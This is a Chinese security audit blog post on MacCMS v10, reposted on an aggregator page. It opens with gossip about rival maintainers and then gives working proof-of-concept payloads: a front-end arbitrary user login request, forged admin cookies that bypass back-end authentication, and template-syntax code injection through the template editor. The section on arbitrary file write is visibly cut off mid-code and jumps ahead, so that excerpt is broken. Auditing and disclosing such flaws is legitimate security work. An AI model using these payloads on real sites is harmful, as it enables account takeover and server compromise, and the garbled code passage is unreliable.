边吃瓜边审计 MacCMS

您所在的位置:网站首页 都市快报视频回放王康渭南学校白血病 边吃瓜边审计 MacCMS

边吃瓜边审计 MacCMS

2023-03-12 14:59| 来源: 网络整理| 查看: 265

0x01 简介

MacCMS 是一套快速视频内容管理开源 cms 系统。据说 MacCMS 已经发展了 12 年,现在流行的两个版本是v10和v8,本次主要审计 v10 的代码。

MacCMS v10的代码采用了 ThinkPHP 5.0 的框架,在做代码审计时需要对 TP5 的框架比较熟悉。

真假 MacCMS

MacCMS 目前有两个自称官方的网站,maccms.la 和 maccms.pro。但这两者都没有拿出绝对的证据证明自己是 MacCMS 的官方平台,但两者都底气十足的指出对方是假冒网站。在审计 v10 的代码前,我对这场闹剧反而兴趣十足,下面是我吃瓜收集的一些信息,但不能保证以下信息的全部真实性,就当娱乐性的吃瓜了:

首先目前公认的是 MacCMS 作者是一个叫做老王的程序员(原名王波),在开发 MacCMS 期间,一直使用的域名是 maccms.com。不过在 2019 年,MacCMS 被用于构建非法网站的原因,官方域名 maccms.com 在2019年5月左右关闭。

maccms.la 的 github 账号为 magicblack,于 2016 加入 github 仓库,在 2019 年 7 月 8 日创建了 MacCMS v8 和 v10 的仓库。

按照 magicblack 的说法,2021年6月,maccms.com 域名被盗取,转移到了境外。现在 maccms.com 会被解析到 maccms.pro 域名上。

maccms.pro 的 github 账号为 maccmspro ,于 2021 年 6.4 日加入 github 仓库,更新频率明显慢于 magicblack。不过 maccmspro 在建立时就做好了计划要推出全新的版本。另外 maccmspro 在官网上的一篇博客声明自己并不是原版MacCMS 的作者老王,但却指出自己是正版? maccmspro 的意思似乎是不忍 MacCMS 盗版猖獗,于是单方面决定替老王维护 MacCMS 程序。

图片.png

从这里其实能感受到 maccmspro 就是为了蹭原版 MacCMS 的热度,想做 MacCMS 的新官方平台,并逐步成为新版 MacCMS。

不过 maccmspro 在 github 似乎出现过一个乌龙,挺尴尬的,如下图,但此图真实性不确定。

图片.png

另外也有一个域名 maccms.cn ,自称是 MacCMS 爱好者,和 maccms.la 网站的 UI 一模一样 ,却指出 maccms.la 是假冒域名,并指出官方域名为 maccms.pro。

下面是我找到的一张 MacCMS 早期 maccms.com 的首页图,maccms.la 和 maccms.cn 现在就是这样的 UI。

图片.png

最后梳理一下,从有记录的时间上来看,magicblack 维护了 MacCMS 的代码有接近两年的时间,maccmspro 维护代码的时间只有 5个月。magicblack 在 github 上的点赞和 maccms.la 域名搜索排名上都要领先于 maccmspro。不过 maccmspro 拥有 .com 和 .cn 更让人信服的域名,配合强大的营销,maccmspro 也迅速站住了脚。

目前看来 maccmspro 确定是一个想借用原版 MacCMS 名声打造新 MacCMS 的平台,剩下的问题就是 magicblack 是否是原版。

我有找到苹果cms的百度贴吧,最早的消息能追溯到2017年,吧主名字也为 magicblack(这个 id 可以在很多博客网站上找到),从多方信息来看,magicblack 似乎是老王本人,种种迹象也表明 magicblack 似乎就是原版,但下面 magicblack 做的两件事也容易让人产生怀疑:

1)在 maccms.com 关闭后,magicblack 才在 github 上提交代码,无法证明在原官方正版存在时 magicblack 做出了重大更新。

2)magicblack 存在争议较大的文件:static/js/player.js,在 magicblack 中该文件的代码一直加密的,这段代码有引流、加载广告的嫌疑。maccmspro 声称解密了该代码,并利用这个把柄称 magicblack 在种木马,从而为自己赢得了不少信任。

关于 magicblack 和 maccmspro 的瓜参考如下信息:

https://www.maccms.la/

https://www.zhihu.com/question/469030135

https://tieba.baidu.com/p/7425108612

https://www.xunaonao.com/15058.html

吃瓜最后,无论谁是 MacCMS 的正版维护者,能吸取的教训就是要好好维护自己的知识产权,同时也不要辜负用户的信任,做一些奇怪的操作,毕竟对广大的使用者来说,好用是唯一标准。

最后我有一个小小的吐槽,老王为什么取名 MACcms?MacCMS 中文名是苹果CMS,所以Mac和苹果有什么关系???难道因为Macbook?

安装

代码在 magicblack 或 maccmspro 的 github 仓库下载就可以了,虽然不知道这两家谁是正版,但目前两者的代码是差不多的,如果要区分两家的代码,有下面两种方法。

1)区分 static/js/player.js 页面

maccmspro 和 magicblack 的 player.js 区别明显,可以在github上找相关源码对比细节,不过github上两者在代码版本标签上都没有打的很明显,该方法可能不够精准。

2)后台查看跳转

在后台点击左上角图标就会跳转到对应网站,是谁就一清二楚了。

图片.png

【安装主题】

我下载的代码前台是没有模板文件的,这会影响对前台功能代码的审计。网上随便找套主题即可,这里贴一个好心人提供的模板:https://www.lanzoux.com/s/pgcms,据说 maccms 站长用海螺模板的较多,可以优先选这个。

0x01 前台任意用户登陆

在 MacCMS 最新版中,前台会员中心功能处存在两种登陆方式,通过构造参数可以实现任意用户登陆

(发此文时 magicblack 已在github 上修复)。

1.1 代码分析

关键代码如下:

可以看到有两种登陆验证方式,第一种是常见的用户名密码。

第二种验证方式转换成sql语句的where字段就是where $data['col']=$data['openid'],而两边的参数都是可控的,所以这里很好通过验证。

// application/common/model/User.php public function login($param) { $data = []; $data['user_name'] = htmlspecialchars(urldecode(trim($param['user_name']))); $data['user_pwd'] = htmlspecialchars(urldecode(trim($param['user_pwd']))); $data['verify'] = $param['verify']; $data['openid'] = htmlspecialchars(urldecode(trim($param['openid']))); $data['col'] = htmlspecialchars(urldecode(trim($param['col']))); if (empty($data['openid'])) { // 验证用户名密码 …… } else { if (empty($data['openid']) || empty($data['col'])) { return ['code' => 1001, 'msg' => lang('model/user/input_require')]; } // 第二种验证 $where[$data['col']] = $data['openid']; } $where['user_status'] = ['eq', 1]; $row = $this->where($where)->find(); …… } 1.2 漏洞利用

构造where $data['col']=$data['openid'],在数据库的 user 表中,user_id 是最清楚的,直接构造user_id=xxx就可以实现任意用户登陆。

poc:openid为任意用户id

POST /index.php/user/login openid=1&col=user_id

发送 poc 后会显示登陆成功,此时浏览器已经获取了登陆后的cookie,然后直接访问前台就好了。

图片.png

登陆成功

图片.png

0x02 绕过后台会话验证

在早些 MacCMS 版本中,后台会话认证的数据全部来自客户端的 cookie ,该参数可控,可以结合 TP5 的一些特性绕过后台的会话认证,从而登陆后台。

2.1 代码分析

后台登陆的关键代码如下:

$admin_id,$admin_name,$admin_check来自客户端 cookie,通过 TP5 的cookie 助手函数获取,所以这三个变量是可控的,同时该漏洞还需要理解 TP5 的 cookie 助手函数,后面会详细分析该函数的代码。

$admin_id,$admin_name,$admin_check都不能为空,这里就会限制很多弱类型比较的参数。

$admin_id,$admin_name会赋值到$where上,==这里是直接赋值上去的,写法是不严谨的,也是造成该漏洞的关键因素之一==。这两个参数值最终会用于查询 admin 表的数据,查询结果赋值到$info。这里$info不能为空。这是后台的第一个验证条件,就是在 admin 表中存在$admin_id,$admin_name的数据,这里的条件是比较好绕过的,后面会将详细构造。

$login_check是一段 md5() 加密值,其中加密参数$info['admin_random']是未知的。第二个验证条件便是$login_check和$admin_check弱类型相等,在没有$info['admin_random']的情况下,没法构造相等的 md5 值,在$login_check固定为一个 md5 字符串的情况时, 根据 PHP 的弱类型比较,==$admin_check需要传入bool类型true或整数类型0,而TP5 的cookie 助手函数获取的 cookie 确实存在这样的机会==,下面来看看该助手函数的详细代码。

// application/common/model/Admin.php public function checkLogin() { $admin_id = cookie('admin_id'); $admin_name = cookie('admin_name'); $admin_check = cookie('admin_check'); if(empty($admin_id) || empty($admin_name) || empty($admin_check)){ return ['code'=>1001, 'msg'=>'未登录']; } $where = []; $where['admin_id'] = $admin_id; $where['admin_name'] = $admin_name; $where['admin_status'] =1 ; $info = $this->where($where)->find(); if(empty($info)){ return ['code'=>1002,'msg'=>'未登录']; } $info = $info->toArray(); $login_check = md5($info['admin_random'] . $info['admin_name'] .$info['admin_id']) ; if($login_check != $admin_check){ return ['code'=>1003,'msg'=>'未登录']; } return ['code'=>1,'msg'=>'已登录','info'=>$info]; }

cookie 助手函数将会调用\think\Cookie类的get方法获取客户端传来的 cookie 值,代码如下:

$name是传入 get() 方法的参数,就是上面的 admin_id、admin_name、admin_check。

$value就是 cookie 中的参数值,这里还有个判断,如果$value是以think:开头的字符串,其think:后面的字符串又会经过json_decode()和\think\Cookie::jsonFormatProtect()的处理。

这里便是关键了,看了下php manual,json_deode()在遇到true,false和null会相应地返回 true, falsenull,而 bool 类型的 true 就是我们一直期待的。

json_decode()会使$value获取到 bool 类型的 true值,然后又会经过think\Cookie::jsonFormatProtect()处理,查看其代码,$value为 true时并不会被处理,所以我们构造的 true活了下来。

// thinkphp/library/think/Cookie.php public static function get($name = '', $prefix = null) { $prefix = !is_null($prefix) ? $prefix : self::$config['prefix']; $key = $prefix . $name; if ('' == $name) {…… } elseif (isset($_COOKIE[$key])) { $value = $_COOKIE[$key]; if (0 === strpos($value, 'think:')) { $value = json_decode(substr($value, 6), true); array_walk_recursive($value, 'self::jsonFormatProtect', 'decode'); } } else { $value = null; } return $value; } protected static function jsonFormatProtect(&$val, $key, $type = 'encode') { if (!empty($val) && true !== $val) { $val = 'decode' == $type ? urldecode($val) : urlencode($val); } } 2.2 漏洞利用

通过分析代码,绕过后台验证有两个判断条件,传入的可控参数是$admin_id,$admin_name,$admin_check。

1)条件1,能从数据库中查询到 admin_id,admin_name 的用户。该条件需要保证 admin 表中存在$admin_id,$admin_name这样的值,即存在这样的管理员id,管理员用户名。

一般管理员id为1,账号为admin,这个概率还是很大的。不过这里也可以利用 TP5 的一个特性,可以传入如下的值:

$where['admin_id'] = ['like','%']; $where['admin_name'] = ['like','%']; $info = $this->where($where)->find();

此时执行的sql语句为如下:

SELECT * FROM `mac_admin` WHERE `admin_id` LIKE '%' AND `admin_name` LIKE '%' AND `admin_status` = 1 LIMIT 1

此时构造的cookie应该为:

admin_id[]=like;admin_id[]=%; admin_name[]=like;admin_name[]=%

这样将会查询到 admin 表中的第一个账号,一般第一个账号都是权限最大的,够用了,也可以尝试控制id,模糊匹配用户名。

2)条件2,md5验证

$admin_check将会和数据库中查询到的 id,admin_name,admin_random做md5验证,因为 admin_random 这里是无法获取的,这三者的加密值必定一串未知md5加密字符串,不过利用 TP5 特性,可控制$admin_check为 true,造成弱类型相等。

2.3 最终poc

所以最终的poc如下:

Cookie: admin_id[]=like;admin_id[]=%; admin_name[]=like;admin_name[]=%; admin_check=think:true

网上的公开的 poc 更加精简一些:

Cookie: admin_id=think:["like","%"]; admin_name=think:["like","%"]; admin_check=think:true 2.4 简单总结

在 v2020.1000.1035 版本以前存在漏洞,该漏洞的核心是弱类型比较,但也用到了很多 TP5 的特性,挖掘该漏洞还需要对 TP5 的框架代码十分了解。

v2020.1000.1042(2020.11.9)代码如下图,不知道维护者是有意还是无意,对 cookie 的值做了 urldecode() 操作,该操作最直接的影响就是$admin_check的值无法控制为布尔类型的 true,所以该漏洞基本也就修复了。另外 $where 也指定了 'eq' 操作,这样的写法更加严谨一点。

图片.png

在 v2020.1000.1062(2021.1.25) 版本中,将使用session处理会话,该漏洞基本就宣告结束了。

图片.png

0x03 后台任意文件写入

后台【模板】=>【模板管理】功能处可以添加修改模板文件,该功能会造成任意文件写入,再利用 TP5 的模板解析特性,可能会执行写入的代码。

这个功能会造成很多利用方式, magicblack 版本一直在做修复,但始终有绕过的方式。结合网上公开的利用方式,我也发现了很多方法可以突破这些修复的版本,下面一一总结。

(发此文时 magicblack 已在 github 上修复)

3.1 代码分析

下面代码来自 v2020.1000.1035 版本:

$fname,$fpath会指定模板文件的位置,其后缀被白名单限制,只能为 array('html', 'htm', 'js', 'xml') 其中之一。

$fcontent为写入模板文件的内容,其内容禁止存在,这段代码最终也会被包含在控制器中从而被解析执行,所以这里我们只要想办法在模板文件中写入 php 代码即可。

// application/admin/controller/Template.php public function info() { $param = input(); $fname = $param['fname']; $fpath = $param['fpath']; if( empty($fpath)){ $this->error('参数错误1'); return; } $fpath = str_replace('@','/',$fpath); $fullname = $fpath .'/' .$fname; $fullname = str_replace('\\','/',$fullname); if( (substr($fullname,0,10) != "./template") || count( explode("./",$fullname) ) > 2) { $this->error('参数错误2'); return; } $path = pathinfo($fullname); if(!empty($fname)) { $extarr = array('html', 'htm', 'js', 'xml'); if (!in_array($path['extension'], $extarr)) { $this->error('参数错误,后缀名只允许htm,html,js,xml'); return; } } if (Request()->isPost()) { $fcontent = $param['fcontent']; if(strpos($fcontent,''; break;

parseVar() 的代码如下:

这里有个很关键的正则匹配,匹配结果如下图,这个正则会匹配$aaa.bbb,$aaa:bbb的参数形式。

图片.png

这是一个将正则表达式转换为图片的网站:jex.im通过图片更好理解正则表达式

另外这里有个正则规则?>一直没有百度到是什么,我转换为了?:理解

没有匹配到正则 则不做处理

通过正则匹配的代码我也没有细看,通过调试大概知道是怎样的转换形式。

public function parseVar(&$varStr) { $varStr = trim($varStr); if (preg_match_all('/\$[a-zA-Z_](?>\w*)(?:[:\.][0-9a-zA-Z_](?>\w*))+/', $varStr, $matches, PREG_OFFSET_CAPTURE)) { ……} return;

最后来总结下,会有一下的转换形式:

1)未匹配到正则,不处理 {:aaa} => aaa => 2)数组参数 {:$aaa.bbb} => $aaa['bbb'] => 3)对象属性 {:$aaa:bbb} => $aaa->bbb =>

我们可以充分利用这个规则,写出如下格式:

{:$a="phpinfo";$a()} => // 如果过滤了敏感字符,采用如下格式绕过 {:$a="ph"."pinfo";$a()}

然后看看模板编译结果:

图片.png

在 v2022.1000.3024 版本中,便做了如下限制,{:符号也被过滤了。

$filter = '


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3